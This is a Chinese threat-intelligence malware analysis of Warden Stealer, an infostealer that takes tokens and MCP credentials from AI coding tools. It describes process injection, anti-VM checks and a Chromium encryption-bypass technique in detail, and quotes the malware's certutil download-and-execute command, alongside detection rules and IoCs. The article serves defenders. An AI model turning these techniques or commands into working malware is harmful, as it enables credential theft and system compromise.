窃密木马盯上 AI Agent:Warden Stealer 三个月蹿红,专偷 Claude、Cursor 的"钥匙"
原创 威胁情报中心 2026-10-12 14:41 北京

在 Lumma 被多国执法机构联合打击后留下的市场真空里,一批新窃密木马正在疯狂补位——Warden Stealer 是其中蹿升最快的一个:Rust 编写、构建级变形、自带加载器,更最早把目标对准了 AI 助手与 AI 编程工具的本地凭证。
恶意软件分析 · 窃密木马 · AI Agent 安全
窃密木马盯上 AI Agent
Warden Stealer 三个月蹿红,专偷 Claude、Cursor 的"钥匙"
Rust 编写、AST/LLVM 级代码变形、“窃取器 + 加载器 + Clipper”三合一——上市数月即跻身头部窃密木马;v1.9 起正式将 Claude、Codex、Grok、Cursor 等 AI 编程助手的令牌写进收集清单。
· Warden Stealer · CallbackBeaver · MaaS 窃密木马 · 2026.10
01 上市数月即成头部玩家:一个“异类”窃密木马的崛起
在窃密木马(Infostealer)这个已经极度拥挤的赛道里,一个新家族想要出头并不容易。Lumma 被多国执法机构联合打击之后留下的市场真空,吸引了一大批新玩家涌入,而 Warden Stealer 是其中蹿升速度最快的一个。
根据 Gen Threat Labs 于 2026 年 10 月 8 日发布的技术分析,Warden Stealer 使用 Rust 语言编写——这在窃密木马中并不常见,只有极少数家族选择这门语言。其作者在地下论坛的访谈中将这一选择归因于团队既往的 Rust 经验,以及 Rust 为“代码变形(morphing)”提供的良好空间。作者甚至将变形能力作为核心卖点,宣称 Warden 是“市场上唯一真正的 morpher(而非普通混淆器),基于 AST 代码解析与 LLVM IR pass 构建”。

图1 | Warden Stealer 在地下论坛发布的广告(俄语,经翻译)——变形能力被作者列为核心卖点(图源:Gen Threat Labs)
时间线上有几组数字值得对照:
- 作者自述项目于 2026 年初开始开发,2026 年 7 月 21 日对外公开;KrakenLabs 记录到的首条论坛广告出现在 7 月 24 日;
- Gen Threat Labs 自 2026 年 5 月初就开始追踪到其早期构建(早于官方“公开发布”时间),8 月初起流行度显著上升,与论坛推广节奏吻合;
- 2026 年 9 月 29 日发布的 v1.9 版本 是一次重要节点:官方宣布支持窃取 AI 编程助手的令牌、停止支持 Windows 7、大幅涨价并新增企业版套餐。
传播渠道方面,由于采用 MaaS 模式,具体投放方式取决于各个运营商(operator)自己,目前已观测到的典型渠道包括破解软件、游戏外挂、恶意广告(malvertising)以及 ClickFix 社工活动。
商业模式上,Warden Stealer 采用分级订阅制,各套餐差异主要在构建数量和 C2 域名数量等运营限额上。定价在 v1.9 发布时经历了一次大幅上调:
套餐 | 初始定价 | v1.9 之后定价 |
Test | 90 美元 / 周 | 149 美元 / 3 天 |
Personal | 349 美元 / 月 | 450 美元 / 月 |
Premium | 499 美元 / 月 | 800 美元 / 月 |
Enterprise | —(新增) | 1500 美元 / 月 |
涨价本身也从侧面印证了其市场需求。此外,该木马刻意规避独联体(CIS)及波罗的海国家境内的系统,且以俄语进行宣传——据此合理推测其开发者活跃于俄语网络犯罪社区,但这并不能直接说明其确切来源。

图2 | Warden Stealer 面向运营商的 Web 管理面板(图源:Gen Threat Labs)
02 归属分析:CallbackBeaver 就是 Warden Stealer
这次分析中颇有看点的一环是归属论证。Gen Threat Labs 早在 9 月的报告中就披露过一个针对 AI Agent 数据的新兴窃密木马,当时由于无法将其与任何已知品牌对应,团队将其命名为 CallbackBeaver(这个名字来源于其早期版本大量使用 TLS 回调函数填充常量,详见后文混淆部分)。
样本本身没有任何直接指向 “Warden Stealer” 品牌的字符串痕迹。研究团队最终通过将样本深度逆向结果与作者在地下论坛发布的技术细节、以及研究员 g0njxa 对 Warden 作者的访谈记录交叉比对,完成了拼图式归属。核心证据包括:
- Rust 语言 + 重度变形:作者在访谈中明确承认选择 Rust 及其变形卖点,而分析样本确实呈现重度混淆与变形特征,且各构建之间的 Base64 字母表、代码布局均不相同,与作者宣称的 AST/LLVM IR 级 morpher 一致;
- 时间线吻合:作者声称的开发起点(2026 年初)与公开发布时间(7 月 21 日),与 Gen 的实际遥测(5 月初首批构建、8 月起放量)互相印证;
- 自带加载器与 Clipper 的产品形态:MaaS 窃密木马通常只卖核心窃取模块,防御规避层(crypter/loader)和投递环节由运营商自理。Warden 却把加载器和 Clipper 打包进产品,而被分析的样本恰恰普遍经由该专属加载器分发并内置 Clipper 功能;
- Clipper 配置的逐一对应:这是最具说服力的一条证据。Warden 最初广告支持 6 条加密货币网络——BTC、ETH、TRX、XMR、SOL、TON,而研究人员从旧版构建中提取的动态配置与之完全一致(连排列顺序都相同);v1.7 版本公告新增 LTC、XRP、ADA、BCH 四条网络后,新版构建的配置中几乎立即出现了追加在原六项之后的同样四条网络。

图3 | 初始广告中的 Clipper 支持网络(上)及 v1.7 更新公告新增四条网络(下)(图源:Gen Threat Labs)

图4 | 从旧版构建中提取的 Clipper 动态配置,含 6 条加密货币网络(该构建中 Monero 地址为空)——与广告逐条对应、顺序一致(图源:Gen Threat Labs)

图5 | 新版构建的 Clipper 动态配置,在原六项后追加 LTC、XRP、ADA、BCH(图源:Gen Threat Labs)
至此,CallbackBeaver 与 Warden Stealer 被确认为同一家族。这也解释了此前报告中“CallbackBeaver 在 30 天内产生超过 5000 个样本”的爆发数据从何而来。
03 重点目标转向:AI Agent 数据成为窃密木马的新猎物
Warden Stealer 最值得关注的能力,是它是最早一批系统性窃取 AI 助手与智能体编程工具本地数据的窃密木马之一,目标包括 Claude、Codex、Grok、Cursor 等。
这些数据为什么值钱?取决于具体的 Agent 及其配置,其本地文件中可能包含:
- 访问令牌与刷新令牌(access/refresh token):可直接回放会话,绕过密码乃至多因素认证;
- MCP(Model Context Protocol)配置中的凭据:MCP 是 Agent 连接数据库、代码仓库、SaaS 工具等外部系统的标准协议,其配置文件往往明文保存 API 密钥、服务端点与环境变量;
- 提示词历史与会话数据库:开发者常在对话中粘贴代码、密钥与内部细节,等于泄露了组织系统架构与在研项目的完整上下文;
- 项目痕迹:攻击者不仅拿到了进入账户的钥匙,还拿到了“什么数据值钱”的地图。
值得注意的是,窃取 AI Agent 数据最初并不在 Warden 的官方广告中,也不是每个构建的默认配置——早期是部分运营商通过自定义收集规则实现的。直到 v1.9(9 月 29 日),作者才正式宣布内置对 AI 编程助手令牌的收集支持。目前无论是自定义规则还是官方内置,相当比例的 Warden 构建都在盯这类数据。

图6 | v1.9 更新公告中新增的“AI coding agent tokens”收集项,目标包括 Claude Code、Codex CLI、Gemini CLI、Grok、Kimi Code、ZCode、OpenCode 等(图源:Gen Threat Labs)
而这并非孤立现象,而是整个窃密木马生态正在发生的转向:
- Gen Threat Labs 9 月的专项报告指出,Amatera 已在收集 Cline、Continue 的数据,Remus 瞄准 Claude、Cursor、OpenCode;低频家族如 BeeStealer、STG Stealer、HydraStealer、APEX Stealer、Otter Stealer 也出现同类行为;macOS 平台的 Djinn Stealer 则盯上了 Claude、Codex、Gemini、Cline、OpenCode、Kilo。仅 Amatera 和 Remus 两家,三个月内就在数万名受保护用户中产生过检测记录;
- BlackFog 对 Bee Stealer v2.1 的分析显示,该家族不仅新增了 Codex 与 Claude 收集路径,甚至引入 AI 对窃回的日志自动生成受害者画像(中英双语),帮运营商在海量日志中快速筛选高价值目标;
- Hudson Rock 公布的 Warden 失陷日志显示,v1.9 的收集目录明确覆盖 Claude Code、Codex CLI、Discord、GitHub 及 SSH 密钥;已回收的日志中包含被盗 .claude.json 文件,其中明文暴露 primaryApiKey 与 Anthropic 账户的 OAuth 信息,还有 SSH 的 config、known_hosts 等可用于横向移动的文件。其 Cavalier 平台数据显示已有数万台机器失陷;
- Okta 在 8 月分析过一个 7 GB 的窃密日志数据集(覆盖 162 个国家的 5871 台失陷机器),其中包含数千个未过期的 AI 服务令牌和仍有效的 API 密钥,可被直接回放用于账户接管或 LLMjacking。
大背景是:2026 年上半年,Gen 的遥测在超过 330 万独立受保护用户中记录到窃密木马检测,单月持续超过 50 万。AI Agent 数据窃取正是在这个体量庞大的生态里快速扩散的新分支。
04 技术剖析
在进入细节之前,先给出 Warden Stealer 从投递到数据回传的完整攻击链总览:

图7 | Warden Stealer 攻击链总览:投递 → 加载 → 注入 → 反检测 → C2 注册 → 配置下发 → 数据收集 → 回传/附加载荷(图源:本文自绘)
4.1 自带加载器:三种执行模式
MaaS 生态的常规分工是:作者只管核心 payload,运营商自行解决免杀和投递。Warden 打破了这一惯例——自带专属加载器,降低了运营商的使用门槛,这被认为是其快速流行的原因之一。从代码层面看,加载器与窃取器共享同一套混淆方案及大量相似实现,可以高置信度判断为同一团队自研,而非第三方组件。
Warden 支持三种部署模式:
- 注入模式(最常见,疑似默认):加载器为 EXE,在内存中重建窃取器 payload(DLL)并注入一个已运行的合法外观进程;
- 侧载模式:加载器以 DLL 形式与合法签名的 EXE 一同下发,由后者侧载,随后在宿主进程内存中重建并执行 payload;
- 独立模式:不带加载器,直接以独立 EXE 形式投递窃取器。
以主流的注入模式为例,其执行流程如下:
1Payload 存储与解码 —— 窃取器 payload 嵌在加载器的 .rdata 节中,使用每个构建独有的类 Base64 字母表编码。这些字母表不仅字符顺序不同,连字符集本身都不一样(并非同一字符集的置换),但均由可打印 ASCII 字符组成,且由加载器与其携带的窃取器共用,用于解码各类混淆数据块(包括混淆字符串)。解码分两步:先按自定义字母表做类 Base64 解码(将字符映射为字母表索引,减去数据块特定的位移量后按模 64 组合为字节),再以自定义 LZSS 风格格式解压。
2Payload 重建 —— 加载器处理三个独立解码的数据块——包含 PE 节数据的主块、提供 PE 头模板的辅助块、bootstrap 存根模板。前两者拼合重建窃取器 PE 镜像,存根模板填入运行时值后追加在镜像与运行时构建的上下文块之后。
3目标进程选择 —— 最新构建通过 FindWindowA 定位 Shell_TrayWnd 窗口(即 Windows 任务栏),再用 GetWindowThreadProcessId 获取其所属进程 PID——标准会话中通常是 explorer.exe(加载器并不校验进程名)。旧版构建还注入过 msiexec.exe、dllhost.exe。
4注入执行 —— 以 PAGE_EXECUTE_READWRITE 权限调用 VirtualAllocEx 在目标进程分配可执行内存,应用重定位后通过 WriteProcessMemory 将重建镜像、上下文块与 bootstrap 存根作为连续缓冲区整体写入,最后调用 CreateRemoteThread 从存根处启动执行。
5手动映射的“补登记” —— 由于 payload 是手动映射的,Windows 标准加载器不会将其注册为已加载模块。bootstrap 存根通过 RtlGetCurrentPeb 获取 PEB,把上下文块中的两个 LIST_ENTRY 节点挂入 PEB->Ldr->InLoadOrderModuleList 与 InMemoryOrderModuleList,使枚举模块列表的代码能够“看见”它;随后调用 payload 中的 TLS 回调等非空函数指针,最终跳转到 PE 入口点。

图8 | Warden Stealer payload 重建与注入流程(图源:Gen Threat Labs)
另一个值得注意的规避手段是:加载器二进制常被巨大的 PE overlay 刻意膨胀。超大可执行文件会给部分 AV/EDR 的深度扫描与模拟执行带来性能压力(许多引擎设有实际的文件大小上限),也会导致自动化分析流水线超时、甚至超出云沙箱和威胁情报平台的上传限制。GoFlateLoader 等家族也采用过同类设计。
4.2 混淆与反分析
Warden 的混淆方案频繁变动(既为免杀,也为破坏自动化分析工具),加载器与窃取器均适用,主要手法包括:
- 字符串混淆:自定义 LZSS 压缩 + 构建专属的类 Base64 字母表 + 字符串级位移参数;每个字符串在首次使用时才惰性解码并缓存;
- 动态 API 解析:通过 LoadLibraryA + GetProcAddress 按名称动态解析 Windows API 并缓存,模块名与函数名同样以混淆字符串存储、按需解码;
- 间接控制流混淆:将直接跳转/调用替换为运行时计算目标地址的间接跳转/调用。早期构建几乎把所有跳转都间接化,甚至基本块之间也用间接跳转串联;最新构建中该手法的应用范围已明显收缩;
- TLS 回调填常量(早期版本):利用 TLS 回调向线程本地存储和全局变量填充常量,用于后续混淆计算中还原数据偏移、字符串解码参数及间接跳转条件——这正是早期命名“CallbackBeaver”的由来;
- 其他:常量掩码、诱饵字符串、混合布尔算术(MBA)表达式、通向伪代码分支的 opaque 谓词、结果被直接丢弃的垃圾计算等,进一步膨胀反编译代码、拖慢人工分析。
4.3 反虚拟机检测
Warden 执行多重环境检查以判断是否处于虚拟化环境:
1SMBIOS 固件表检查 —— 通过 GetSystemFirmwareTable 获取原始 SMBIOS 表并遍历记录,若能取到表但找不到任何 type 7(Cache Information)记录,则判定为虚拟环境。
2CPUID 厂商指纹 —— 用 cpuid 指令读取物理 CPU 厂商 ID(leaf 0)、hypervisor 厂商 ID(leaf 0x40000000),若 hypervisor 宣称支持 0x400000FF 以上的 leaf,还会从 leaf 0x40000100 读取次级 hypervisor 厂商 ID。三类 ID 与一个包含 27 条 12 字节精确签名 的黑名单比对,覆盖 VMware、VirtualBox、KVM、Xen、TCG 模式的 QEMU 等;若无精确匹配,再检查是否包含 4 个短标记(KVM、PpyH、Apple VZ、QXNQSBMV)。
3已安装软件枚举 —— 遍历 HKLM/HKCU 下(含 WOW6432Node)的 Uninstall 注册表路径,过滤系统组件(SystemComponent=1)与无法读取 UninstallString 的条目,检查剩余条目的 DisplayName 是否以 Virtio 开头(VirtIO 驱动常见于 KVM/QEMU 虚拟机)。
4显示适配器检查 —— 用 EnumDisplayDevicesW 枚举显示设备,检查适配器描述是否包含 Virtio、Standard VGA 或 Basic Display(虚拟机未装专用显卡驱动时的典型通用适配器)。

图9 | Warden Stealer 反虚拟机检测流程——任一检查命中即中止(图源:本文自绘)
一旦判定处于虚拟环境,Warden 会弹出一个标题为 “DEBUG” 的俄语文本消息框(内容是一句关于敖德萨的俄式笑话),并中止后续的数据收集与上报工作线程。这一细节也再次指向其俄语背景。

图10 | 检测到虚拟化环境时弹出的 DEBUG 消息框(图源:Gen Threat Labs)
4.4 绕过应用绑定加密(ABE):本报告的技术核心
窃取 Chromium 系浏览器的 Cookie 与密码,如今绕不开 Google 引入的应用绑定加密(Application-Bound Encryption, ABE):浏览器数据的加密密钥被绑定到合法应用与机器上,普通恶意软件即使拿到密文也无法解密,除非注入浏览器进程内部。
Warden 的 ABE 绕过方案与最新版 Vidar、Remus 的思路相近,但实现细节存在多处差异,研判为独立开发而非直接抄袭。整体分三步:在浏览器内存中定位加密形态的v20_master_key → 注入 shellcode 在浏览器进程内解密 → 读回明文密钥。完整流程如下:

图11 | Warden Stealer 绕过应用绑定加密(ABE)流程(图源:本文自绘)
第一步:定位密钥。与 Vidar 类似,Warden 扫描浏览器内存,寻找符合 Chromium os_crypt_async::Encryptor::KeyRing(存放 Encryptor 密钥的 map,含加密态 v20_master_key)条目布局的结构。但 Vidar 匹配 32 字节特征(覆盖条目内多个固定字段),Warden 的模式则简单得多——只搜索 4 字节的 v20\x00(v20_master_key 在 KeyRing 中存储的键名,含 NUL 终止符)。
短模式必然命中大量候选,因此 Warden 通过检查匹配点特定偏移处的值是否符合 KeyRing 条目布局来收窄范围。Chromium 中 KeyRing 定义为 std::map<std::string, std::optional<Key>>,每个条目是红黑树节点中的 std::pair<const std::string, std::optional<Key>>,Key 对象的 key_ 成员(std::vector<uint8_t>)即加密密钥。Warden 检查每个 v20\x00 命中点 +32、+40、+48 偏移处的三个连续 qword——在 libc++ 默认的指针式 std::vector 布局下,它们应对应 key_ 向量的 begin、end、capacity_end 指针,并施加如下启发式校验:
- begin 指针必须 8 字节对齐且落在用户态地址范围(0x10000 – 0x7FFFFFFFFFFF);
- end 指针必须等于 begin + 32(即 32 字节缓冲区,恰为 v20_master_key 长度);
- capacity_end 指针同样须 8 字节对齐、位于用户态范围,且介于 end 与 begin + 64 之间(容量限定在 32–64 字节)。

图12 | 浏览器内存中单个 KeyRing map 节点的标注转储(指针式 std::vector 布局)(图源:Gen Threat Labs)

图13 | libc++ 中 std::vector 的指针式(上)与长度式(下)两种内存布局(图源:Gen Threat Labs)
此外,其过滤逻辑还兼容 libc++ 的另一种长度式 std::vector 布局(begin 之后跟 size、capacity 整型字段):若 begin 通过对齐校验但第二个 qword 不等于 begin + 32,则回退检查该 qword 是否等于 32,并要求第三个 qword 除 0x20 位外无其他置位(即只接受 0 或 32)——“begin 指针 + 两个 32”描述的正是同一个 32 字节密钥缓冲区的另一种表示。
第二、三步:进程内解密与读回。候选指针(各 key_ 向量的 begin)经排序去重后逐一测试:读取其指向的 32 字节,连同一段短 shellcode 一起暂存进目标浏览器进程;随后劫持浏览器的一个既有线程——挂起、保存原始上下文、将指令指针重定向到 shellcode。线程恢复后,shellcode 以 CRYPTPROTECTMEMORY_SAME_PROCESS 标志对暂存缓冲区调用 CryptUnprotectMemory(这一点与 Remus 一致,后者同样注入小型 shellcode 执行该调用)。由于解密是原地进行的,Warden 只需轮询缓冲区并与原始密文比对,内容一旦变化即视为成功恢复 v20_master_key。拿到主密钥后,浏览器 Cookie、密码等数据的解密便畅通无阻。
4.5 C2 通信
- 域名管理:每个构建硬编码 1–5 个 C2 域名,多出的作为故障转移备用。域名采用独立于通用字符串解码器的专属混淆方案:每项由单字节 XOR 密钥、编码域名指针、域名长度三个字段组成,且三字段顺序不定(疑似变形引擎的产物);
- 通信协议:走 HTTPS,载荷为自定义二进制格式。每条记录先序列化,以构建专属字节 XOR 混淆并加帧标签,再用 LZNT1 压缩,最后包裹包含原始长度、16 字节构建标记及可选元数据的头部;

图14 | Warden Stealer 出站 C2 请求的帧结构(图源:Gen Threat Labs)
- 交互流程:首先发送注册请求,携带失陷主机指纹(硬件 ID、CPU 与内存信息、操作系统版本、显示配置、用户名、区域语言、已安装软件);服务器返回动态配置(同样 XOR 混淆,但不做 LZNT1 压缩);若交换失败或未获有效配置则切换到下一个 C2 域名。拿到配置后,按功能开关与收集规则采集数据,分批回传。

图15 | Warden Stealer C2 通信与数据回传流程(含域名故障转移机制)(图源:本文自绘)
4.6 附加载荷投递
除窃取能力外,Warden 还可按动态配置中的 URL 下载执行额外载荷,意味着一次感染可能演变为后续的任意感染(如勒索软件)。实现细节:
- 通过 Shell.Application COM 对象(IShellDispatch2 接口的 ShellExecute 方法)以隐藏窗口(SW_HIDE)启动 cmd.exe,而非直接调用 CreateProcess;
- 下载使用 certutil.exe -urlcache -split -f "<URL>" "<目标路径>",落地于 %TEMP%;文件名由 GetTickCount 值格式化为 8 位小写十六进制后拼接 URL 在配置列表中的序号,扩展名根据 URL 文本判断为 .msi、.bat/.cmd,其余默认 .exe;
- 下载与执行命令以 && 链接,仅当 certutil 成功返回才启动载荷:MSI 走 msiexec.exe /i ... /qn /norestart,BAT/CMD 走 cmd.exe /c,EXE 直接执行。

图16 | 附加载荷下载与执行流程:Shell.Application COM + certutil 落地 %TEMP%,按扩展名分三类执行(图源:本文自绘)
05 防护与检测建议
对安全运营团队
- 将附录中的哈希与 C2 域名导入 EDR、DNS/代理封禁列表,并回溯历史 DNS 日志排查命中;更完整的 IoC 清单见 Gen 官方 GitHub 仓库;
- 关注加载器行为特征:Sysmon Event ID 8(CreateRemoteThread)中目标为 explorer.exe、源为用户可写目录下的未签名进程,是高价值线索;Event ID 10 中非浏览器进程以内存写权限打开 chrome.exe/msedge.exe,符合 ABE 绕过阶段的密钥窃取行为;Event ID 1 / 4688 中 certutil.exe -urlcache 的异常调用可捕获其载荷下载;
- 将 AI 编程工具(Claude Code、Codex CLI、Cursor、Grok 等)纳入终端资产清单与检测覆盖范围,将 Agent 配置目录的异常读取加入检测规则。
疑似失陷后的应急处置
- 由于内置加载器可投递二次载荷,被感染机器建议直接重装,不可信任“已清除”状态;
- 在另一台干净设备上完成凭据轮换:从各服务账户设置中终止 Claude、ChatGPT(Codex 使用其登录)、Cursor、Grok 的全部会话(本地登出无法作废已被拷走的令牌);更换 Anthropic/OpenAI API 密钥、所有写入 MCP 配置的密钥、GitHub 个人访问令牌与 SSH 密钥;
- 排查提示词历史与会话记录中是否泄露过内部代码、密钥与架构信息;转移该机器上使用过的钱包中的资金。
对组织的长期建议:AI Agent 的本地凭证文件与 MCP 配置应比照 SSH 私钥的敏感度管理——摸清哪些机器装有这类工具、令牌最小化授权、纳入窃密木马事件响应清单。只轮换密码而不撤销 AI Agent 会话与 MCP 凭据,等于给攻击者留了后门。
06 总结
Warden Stealer 的崛起路径值得警惕:Rust 编写带来的逆向难度、AST/LLVM 级变形带来的免杀能力、“窃取器 + 加载器 + Clipper”的一站式产品形态,使其在数月内跻身头部窃密木马行列。更具风向标意义的是,它把 AI Agent 的令牌、MCP 凭据与会话历史正式写进了收集清单——当开发者的 AI 助手成为“工作记忆”的载体,窃密木马的目标库也随之升级。可以预期,在其作者持续迭代(包括自称引入 AI 辅助开发)的背景下,Warden 在可预见的时间内仍将是窃密木马市场的主要玩家,而“AI Agent 数据”这一收集类目也会在更多家族中扩散。
07 附录 A:MITRE ATT&CK 技术映射
战术 | 技术 ID | 技术名称 | 对应行为 |
初始访问 | T1204.002 | User Execution: Malicious File | 经破解软件、游戏外挂、恶意广告、ClickFix 等渠道诱导用户执行 |
执行 | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | 通过 cmd.exe /c 链式执行下载与载荷启动命令 |
执行 | T1106 | Native API | 直接调用 VirtualAllocEx、WriteProcessMemory、CreateRemoteThread 等原生 API |
防御规避 | T1055.002 | Process Injection: Portable Executable Injection | 内存重建窃取器 PE 镜像并注入 explorer.exe 等进程 |
防御规避 | T1055.003 | Process Injection: Thread Execution Hijacking | 挂起并劫持浏览器既有线程执行解密 shellcode |
防御规避 | T1574.002 | Hijack Execution Flow: DLL Side-Loading | 侧载模式:合法签名 EXE 加载恶意 DLL 加载器 |
防御规避 | T1027 | Obfuscated Files or Information | 字符串混淆、MBA 表达式、opaque 谓词、诱饵字符串、垃圾计算 |
防御规避 | T1027.001 | Obfuscated Files or Information: Binary Padding | 以巨大 PE overlay 膨胀加载器文件,规避扫描与沙箱上传 |
防御规避 | T1027.002 | Obfuscated Files or Information: Software Packing | AST/LLVM IR 级代码变形(morpher),构建间高度差异化 |
防御规避 | T1140 | Deobfuscate/Decode Files or Information | 自定义类 Base64 字母表 + LZSS 解压、单字节 XOR 解码域名 |
防御规避 | T1497.001 | Virtualization/Sandbox Evasion: System Checks | SMBIOS type 7 检查、CPUID 厂商黑名单、VirtIO 软件与显示适配器检测 |
凭据访问 | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | 绕过 ABE 窃取 Chromium 浏览器密码、Cookie |
凭据访问 | T1555 | Credentials from Password Stores | 收集密码管理器数据(广告宣称的 13 类目标之一) |
凭据访问 | T1539 | Steal Web Session Cookie | 窃取浏览器会话 Cookie |
凭据访问 | T1528 | Steal Application Access Token | 窃取 AI 助手/编程工具的访问与刷新令牌、OAuth 凭据 |
凭据访问 | T1552.001 | Unsecured Credentials: Credentials In Files | 收集 MCP 配置、.claude.json、SSH 等明文凭据文件 |
发现 | T1082 | System Information Discovery | 注册请求携带硬件 ID、CPU、内存、OS 版本、用户名、区域语言等指纹 |
发现 | T1012 | Query Registry | 枚举 Uninstall 注册表路径检测 VirtIO 软件 |
发现 | T1120 | Peripheral Device Discovery | EnumDisplayDevicesW 枚举显示适配器检测虚拟机 |
收集 | T1005 | Data from Local System | 按自定义文件/注册表收集规则采集 13 类目标数据 |
收集 | T1115 | Clipboard Data | 内置 Clipper 劫持剪贴板中的加密货币地址 |
命令与控制 | T1071.001 | Application Layer Protocol: Web Protocols | HTTPS 自定义二进制协议与 C2 通信 |
命令与控制 | T1132.002 | Data Encoding: Non-Standard Encoding | 构建专属 XOR 字节混淆 + LZNT1 压缩 + 自定义帧格式 |
命令与控制 | T1105 | Ingress Tool Transfer | certutil.exe -urlcache 下载附加载荷 |
数据渗出 | T1041 | Exfiltration Over C2 Channel | 窃取数据分批回传 C2 |
08 附录 B:失陷指标(IoC)
以下为非完整清单,完整 IoC 见 Gen 官方 GitHub 仓库(github.com/gendigitalinc/ioc,WardenStealer 目录)。域名已做防误触处理(defang)。
B.1 Warden Loader SHA-256(部分)
006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c
0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a
63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef
77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e
77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36
b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4
dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e
ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439
ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1
B.2 Warden Stealer SHA-256(部分)
241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437 (首批追踪构建之一)
04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5
159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972
3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842
51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d
5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351
6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e
a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1
cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4
e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3
fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0
B.3 提取的 C2 域名(部分)
backtoblack7[.]com
berff3788[.]com
bobroviysmex[.]shop
bomboclat[.]rest
brodyagup[.]com
culture-shock[.]club
diseazhjw[.]cloud
dojaekrt[.]cc
dojaekrt[.]forum
dojaekrt[.]trade
erifytrtr1[.]vip
ggresp[.]com
hotelcalifornia[.]club
hroffice[.]work
incoming[.]rent
jgkawdq[.]cloud
kaiangelsystems[.]rest
kaifdlyaw[.]com
kaliop-weda[.]club
konradkerz40000[.]work
library2000[.]com
luqiuid91[.]com
macfilecloud8[.]com
matie-bal[.]club
modicontools[.]com
nextlanding[.]net
nweenwew234[.]cc
patduggan[.]com
pianolovers[.]club
piska-sosidka-govno[.]asia
plainhorizon[.]org
publisher99[.]com
rabbids-sixseven[.]cc
recap-check[.]org
rocks56[.]com
rrrrrrrffff[.]club
sfgiantslive[.]com
skibidiclipper[.]pw
skibidiproliv[.]com
skibidistealer[.]team
systemformating[.]rest
verifytrtr[.]vip
vlad-nazarenko2004[.]club
web03-azureupdate[.]com
webex-028ue2[.]com
wosback[.]cc
zalupka[.]website
zolotoy[.]club
zxcwork[.]com
B.4 行为检测线索(狩猎参考)
- Sysmon Event ID 8:CreateRemoteThread 目标为 explorer.exe,源为来自用户可写目录的未签名进程;
- Sysmon Event ID 10:非浏览器进程以内存写权限访问 chrome.exe / msedge.exe(ABE 绕过阶段的密钥窃取特征);
- 进程命令行审计(Sysmon Event ID 1 / 4688):certutil.exe 带 -urlcache -split -f 参数的可疑调用,落地路径位于 %TEMP% 且文件名为 8 位十六进制 + 数字序号;
- 注册请求流量:HTTPS 出站,载荷为 LZNT1 压缩的自定义二进制格式,头部含 16 字节构建标记。
09 参考链接
1. Gen Threat Labs — Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data(本文主要来源)
https://gendigital.com/blog/insights/research/warden-stealer-rust-infostealer-analysis
2. Gen Threat Labs — Infostealers Have Found a New Target: Your AI Agent(2026 年 9 月专项报告)
https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent
3. Gen 官方 IoC 仓库(WardenStealer 目录,完整失陷指标)
https://github.com/gendigitalinc/ioc
4. Hudson Rock — Infostealers Are Actively Hunting AI Agents and Developer Keys – Warden Infostealer
https://www.infostealers.com/article/infostealers-are-actively-hunting-ai-agents-and-developer-keys-warden-infostealer/
5. BlackFog — Bee Stealer Targets Codex And Claude, Uses AI To Profile Victims
https://www.blackfog.com/bee-stealer-uses-ai-to-profile-victims/
6. GBHackers — Warden Stealer Malware Targets Claude, Codex, Grok and Cursor to Steal AI Agent Data
https://gbhackers.com/warden-stealer-malware/
7. PCRisk(KrakenLabs)— WARDEN Stealer 概述
https://www.pcrisk.com/removal-guides/35689-warden-stealer
8. PointGuard AI — Infostealers Target AI Agent Tokens and MCP Configs
https://www.pointguardai.com/ai-security-incidents/infostealers-raid-ai-coding-agents-for-tokens-and-mcp-configs
本文转载自微信公众号「奇安信威胁情报中心」,查看原文。版权归原作者所有,如有侵权请联系删除。